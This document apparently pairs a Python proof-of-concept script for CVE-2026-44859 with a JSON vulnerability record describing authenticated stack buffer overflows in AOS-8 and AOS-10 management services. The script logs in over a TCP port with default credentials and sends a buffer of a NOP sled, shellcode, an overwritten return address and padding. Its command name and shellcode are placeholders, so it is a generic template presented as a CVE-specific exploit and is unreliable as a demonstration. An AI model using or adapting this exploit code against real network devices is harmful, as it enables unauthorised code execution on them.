CVE-2026-44859

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-44859 # This script demonstrates the buffer overflow vulnerability by sending a large payload to the CLI. import socket import time def send_exploit(target_ip, port, username, password): try: print(f"[*] Connecting to {target_ip}:{port}...") # Establish a connection to the CLI (e.g., Telnet or custom management port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, port)) # Simulate authentication (PR:H requirement) print(f"[*] Authenticating as {username}...") # In a real scenario, this would handle the specific auth protocol auth_payload = f"USER {username}\nPASS {password}\n" s.send(auth_payload.encode()) time.sleep(1) # Construct the malicious payload # The vulnerability is triggered by a crafted request to underlying management services # NOP sled + Shellcode + Overwrite Return Address nop_sled = b"\x90" * 100 # Placeholder for shellcode (e.g., bind shell) shellcode = b"\xcc\xcc\xcc\xcc" # Ret address needs to be specific to the OS version (JMP ESP) ret_addr = b"\xaf\x11\x40\x00" padding = b"A" * (500 - len(nop_sled) - len(shellcode) - len(ret_addr)) payload = nop_sled + shellcode + ret_addr + padding # Send the crafted request to the vulnerable service exploit_cmd = b"VULNERABLE_CMD " + payload + b"\n" print("[*] Sending malicious payload...") s.send(exploit_cmd) print("[+] Payload sent. Check for shell or crash.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET_IP = "192.168.1.1" PORT = 23 # Example CLI port USER = "admin" PASS = "admin" send_exploit(TARGET_IP, PORT, USER, PASS)

{"cve": {"id": "CVE-2026-44859", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:44.517", "lastModified": "2026-05-12T20:16:44.517", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}